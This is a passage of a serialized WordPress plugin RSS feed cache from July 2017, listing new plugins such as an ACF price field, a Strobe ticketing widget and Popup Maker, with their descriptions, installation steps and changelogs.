Plugins\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:29:\&quot;https://wordpress.org/plugins\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;Plugins extend and expand the functionality of WordPress.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:13:\&quot;lastBuildDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sun, 16 Jul 2017 07:40:42 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;language\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5:\&quot;en-US\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:9:\&quot;generator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://wordpress.org/?v=4.9-alpha-41062\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;item\&quot;;a:10:{i:0;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;Advanced Custom Fields: Price Field\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://wordpress.org/plugins/acf-price/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sun, 16 Jul 2017 05:55:11 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;https://wordpress.org/plugins/advanced-custom-fields-price/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:39:\&quot;ACF Price field with number formatting.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;speccode\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2244:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;h4&gt;How it works&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Plugin will store your &amp;#8220;price&amp;#8221; as float so any time you will change desire number format there will be no reformatting problems.&lt;/li&gt;\n&lt;li&gt;Best column type in database for &amp;#8220;price&amp;#8221; related fields is decimal. As WordPress keep meta as type &amp;#8220;text&amp;#8221;  I can only cast it to float. Keep it in mind.&lt;/li&gt;\n&lt;li&gt;Field validation is &amp;#8220;live&amp;#8221; thanks to https://github.com/teamdf/jquery-number.&lt;/li&gt;\n&lt;li&gt;When you use &lt;code&gt;get_field&lt;/code&gt; function you will get preformatted number based on your settings.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;Options&lt;/h4&gt;\n&lt;pre&gt;&lt;code&gt;format\n&lt;/code&gt;&lt;/pre&gt;\n&lt;p&gt;Available formats:&lt;br /&gt;\n* &lt;code&gt;1 337.55&lt;/code&gt;&lt;br /&gt;\n* &lt;code&gt;1 337,55&lt;/code&gt;&lt;br /&gt;\n* &lt;code&gt;1,337.55&lt;/code&gt;&lt;br /&gt;\n* &lt;code&gt;1.337,55&lt;/code&gt;&lt;br /&gt;\n* &lt;code&gt;1337&lt;/code&gt;&lt;br /&gt;\n* &lt;code&gt;1 337&lt;/code&gt;&lt;/p&gt;\n&lt;h4&gt;Default parameters result&lt;/h4&gt;\n&lt;pre&gt;&lt;code&gt;1 337.00\n&lt;/code&gt;&lt;/pre&gt;\n&lt;h4&gt;Compatibility&lt;/h4&gt;\n&lt;p&gt;This ACF field type is compatible with:&lt;br /&gt;\n* ACF 5&lt;br /&gt;\n* ACF 4&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Copy the &lt;code&gt;acf-price&lt;/code&gt; folder into your &lt;code&gt;wp-content/plugins&lt;/code&gt; folder&lt;/li&gt;\n&lt;li&gt;Activate the Price plugin via the plugins admin page&lt;/li&gt;\n&lt;li&gt;Create a new field via ACF and select the Price type&lt;/li&gt;\n&lt;li&gt;Please refer to the description for more info regarding the field type settings&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;[1.2.1] 2017-07-15&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;added translations&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;[1.2.0] 2017-07-02&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;bugfixes&lt;/li&gt;\n&lt;li&gt;cleanup file structure&lt;/li&gt;\n&lt;li&gt;add support for ACF 4&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;[1.1.0] 2017-06-17&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;added &lt;code&gt;format&lt;/code&gt; option&lt;/li&gt;\n&lt;li&gt;removed support for ACF 4 (temporary)&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;[1.0.0] 2015-02-02&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initation of plugin, no configuration. Only live validation.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Copy the &lt;code&gt;acf-price&lt;/code&gt; folder into your &lt;code&gt;wp-content/plugins&lt;/code&gt; folder&lt;/li&gt;\n&lt;li&gt;Activate the Price plugin via the plugins admin page&lt;/li&gt;\n&lt;li&gt;Create a new field via ACF and select the Price type&lt;/li&gt;\n&lt;li&gt;Please refer to the description for more info regarding the field type settings&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:17:\&quot;Unicon extensions\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;https://wordpress.org/plugins/unicon-extensions/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 15 Jul 2017 19:08:42 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;https://wordpress.org/plugins/unicon-extensions/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:94:\&quot;support for special content types in your website, such as a service Block, client, and&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;themezwp\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:456:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;NOTE: This plugin is meant for use with the WordPress themes developed by &lt;a href=\&quot;http://themezwp.com\&quot; rel=\&quot;nofollow\&quot;&gt;Themez WP&lt;/a&gt; theme Promote, which take advantage of it to add service Block, client, and team member, counter. Check them out!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;3.0.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Changed tested up to&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;3.0.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;First version of the plugin&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Ticketing Widget\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:47:\&quot;https://wordpress.org/plugins/strobe-ticketing/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 15 Jul 2017 15:01:12 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:47:\&quot;https://wordpress.org/plugins/strobe-ticketing/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:70:\&quot;Display a Strobe org&amp;#039;s current events directly through WordPress.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Evan Altman\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2250:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Anyone with a Strobe account can use this plugin! The plugin will allow you to display all current events listed on Strobe directly t a WordPress-powered site or blog.&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;no development required!&lt;/li&gt;\n&lt;li&gt;sales information stays up to date and consistent&lt;/li&gt;\n&lt;li&gt;matches your site&amp;#8217;s style&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Select &lt;code&gt;Download&lt;/code&gt; from the WordPress plugins directory.&lt;/li&gt;\n&lt;li&gt;Visit the Strobe Dashboard &lt;a href=\&quot;https://dashboard.strobelabs.com/org#ticketing\&quot; rel=\&quot;nofollow\&quot;&gt;org settings&lt;/a&gt; page to find a secure access token.&lt;/li&gt;\n&lt;li&gt;Copy the access token.&lt;/li&gt;\n&lt;li&gt;Navigate to the admin settings panel for the &lt;strong&gt;Ticketing Widget&lt;/strong&gt; plugin.&lt;/li&gt;\n&lt;li&gt;Paste the access token in the designated input box.&lt;/li&gt;\n&lt;li&gt;Add a &lt;code&gt;[strobe_event_list]&lt;/code&gt; short code wherever you&amp;#8217;d like the list to show up on your site.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Select &lt;code&gt;Download&lt;/code&gt; from the WordPress plugins directory.&lt;/li&gt;\n&lt;li&gt;Visit the Strobe Dashboard &lt;a href=\&quot;https://dashboard.strobelabs.com/org#ticketing\&quot; rel=\&quot;nofollow\&quot;&gt;org settings&lt;/a&gt; page to find a secure access token.&lt;/li&gt;\n&lt;li&gt;Copy the access token.&lt;/li&gt;\n&lt;li&gt;Navigate to the admin settings panel for the &lt;strong&gt;Ticketing Widget&lt;/strong&gt; plugin.&lt;/li&gt;\n&lt;li&gt;Paste the access token in the designated input box.&lt;/li&gt;\n&lt;li&gt;Add a &lt;code&gt;[strobe_event_list]&lt;/code&gt; short code wherever you&amp;#8217;d like the list to show up on your site.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;dt&gt;What do I need to do to use this plugin?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Copy your access token from the Strobe Dashboard &lt;a href=\&quot;https://dashboard.strobelabs.com/org#ticketing\&quot; rel=\&quot;nofollow\&quot;&gt;org settings&lt;/a&gt; and paste it in the plugin Settings on your WordPress site.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;dt&gt;Where do I find an access token for my org?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Visit your Strobe Dashboard &lt;a href=\&quot;https://dashboard.strobelabs.com/org#ticketing\&quot; rel=\&quot;nofollow\&quot;&gt;org settings&lt;/a&gt; page to find an access token.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;dt&gt;Who can I contact for additional questions?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Email hello@strobelabs.com.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial version&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Popup Maker\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/popup-maker-wp/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 15 Jul 2017 07:55:42 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/popup-maker-wp/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:82:\&quot;Popup Maker is the ultimate tool that will help you run a cleverer and more&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;popupmaker\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10217:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Rocket the efficiency of your products, the attractiveness of your website, the flow to your website, the traffic at your social accounts, the flexibility of your projects, the number of your core customers, the ease of usage of your website, the lightness of perception of your product and website with Popup Maker.&lt;br /&gt;\nPopup Maker is a standalone application with many web platforms&amp;#8217; integrations, including WordPress.&lt;br /&gt;\nWith the smart tools of Popup Maker, you can add needed elements and create popups which can contain elements like: Image popup, Countdown popup, HTML popup, Video popup, Subscription popup (with quick sending Newsletter opportunity), Contact popup, Social popup, Iframe popup, Age restriction popup. You can even mix them in one popup, including several elements in one popup. So you can have a Subscription popup with Countdown, or an Image popup with Social buttons &amp;#8211; it&amp;#8217;s all up to your imagination.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Popup Maker – Features:&lt;/strong&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Create and manage as many popups as you want&lt;/li&gt;\n&lt;li&gt;Customize the look and feel of the popup&lt;/li&gt;\n&lt;li&gt;Set custom animation effects&lt;/li&gt;\n&lt;li&gt;Customize popup animation effect&lt;/li&gt;\n&lt;li&gt;Choose between several popup templates&lt;/li&gt;\n&lt;li&gt;Set popup location on the screen&lt;/li&gt;\n&lt;li&gt;Change popup content background color&lt;/li&gt;\n&lt;li&gt;Customize popup overlay color and opacity&lt;/li&gt;\n&lt;li&gt;Add custom classes for Onclick and On Hover events&lt;/li&gt;\n&lt;li&gt;Redirect user to another page when he/she clicks on popup content&lt;/li&gt;\n&lt;li&gt;Responsive mode, with layout sizing (media queries)&lt;/li&gt;\n&lt;li&gt;Receive notifications after form submission&lt;/li&gt;\n&lt;li&gt;Html element for adding custom HTML codes inside the popup&lt;/li&gt;\n&lt;li&gt;Promotional image popup element&lt;/li&gt;\n&lt;li&gt;Iframe element – you may set the needed URL to load within an iframe. Therefore, popup will load the already set iframe.&lt;/li&gt;\n&lt;li&gt;Video element – you can embed YouTube and Vimeo and Daily Motion videos inside your popup.&lt;/li&gt;\n&lt;li&gt;Social element – greatest popup for sharing your websites and social accounts by adding &amp;#8220;like&amp;#8221; and &amp;#8220;share&amp;#8221; buttons. Social popup includes all popular social networks, such as Facebook, LinkedIn, Twitter, Google Plus, etc.&lt;/li&gt;\n&lt;li&gt;Age restriction element – sometimes the content of specific website might be inappropriate for certain audiences. In these cases, users may not be able to view the content until they pass the age confirmation popup.&lt;/li&gt;\n&lt;li&gt;Countdown element – the most flexible way to contact your customers. For instance, your site is under construction and you are planning to open it for a specific time. Therefore, you may just create a countdown popup and fully inform your customers.&lt;/li&gt;\n&lt;li&gt;Subscription element – the easiest way to create an efficient connection between users and website owners by using popups. With this simple popup solution, you can quickly collect subscribers in a very pleasant and elegant way. All the subscribers are kept in the Subscribers section, and you can export the list, or delete the subscribers you wish.&lt;/li&gt;\n&lt;li&gt;Contact form element – this popup content allows the visitors of your website to write you a message right from the popup.&lt;/li&gt;\n&lt;li&gt;Google Analytics (separate extension) – get detailed and exact statistics about the effectiveness of your popups.&lt;/li&gt;\n&lt;li&gt;Show popup only when user is scrolling – sometimes you do not want to show the popup right away, it is a good idea to set this option so that show popup to the visitor only while he scrolls.&lt;/li&gt;\n&lt;li&gt;Show popup once per visitor – it is a useful option when you do not want to show the popup to the same visitor more than once.&lt;/li&gt;\n&lt;li&gt;Do not show popup on mobile devices – after activating this option, popup will not be visible on mobile devices.&lt;/li&gt;\n&lt;li&gt;Show popup only on mobile devices – after activating this option, popup will be shown only on mobile devices.&lt;/li&gt;\n&lt;li&gt;Disable popup closing – after activating this option, user will not be able to close the popup in any possible way.&lt;/li&gt;\n&lt;li&gt;Auto close popup after a specific time – very much useful, if activate it with the previous option. Afterwards, you can disable manual popup closing in order to close it after a certain time.&lt;/li&gt;\n&lt;li&gt;Besides the opportunity of displaying popups in WordPress via the API key, we also provide Embed Codes that you can use in any website you wish, be that WP or something else.&lt;br /&gt;\nPopup Maker is brilliant if you need to&lt;/li&gt;\n&lt;li&gt;Insert some ads to your website to attract users’ attention.&lt;/li&gt;\n&lt;li&gt;Redirect users to the pages, which you want them to visit (besides your host website).&lt;/li&gt;\n&lt;li&gt;Share videos, images and links of the needed websites.&lt;/li&gt;\n&lt;li&gt;Add subscription forms to make your users subscribe to your page.&lt;/li&gt;\n&lt;li&gt;Set restrictions for some groups of users, inserting restriction popups created by our popup plugin for your page.&lt;br /&gt;\nThere are no limits in your steps. Due to Popup Maker, you can do whatever you want with these popups. Popup Maker gives all the opportunities to its customers. All the possibilities for usage of the popups, in favor of our core customers.&lt;/li&gt;\n&lt;li&gt;Popup that show on scroll&lt;/li&gt;\n&lt;li&gt;Popup that appear on exit intent&lt;/li&gt;\n&lt;li&gt;Popup that show once per visitor&lt;/li&gt;\n&lt;li&gt;Popup with disability to close&lt;/li&gt;\n&lt;li&gt;Popup with auto closing&lt;/li&gt;\n&lt;li&gt;Popup that do not show on mobile&lt;/li&gt;\n&lt;li&gt;Popup that appear by user status&lt;/li&gt;\n&lt;li&gt;Popup that appear after user&amp;#8217;s inactivity&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Popup a huge portal including powerful modal popups for your WordPress blog or website.&lt;/p&gt;\n&lt;p&gt;Why Popup Maker?&lt;/p&gt;\n&lt;p&gt;The Answer is more than obvious.&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Templates are provided to ease the creation of popups.&lt;/li&gt;\n&lt;li&gt;Unlimited popup creation with their own configuration is allowed.&lt;/li&gt;\n&lt;li&gt;Flexible customization options for all the popups in all the possible 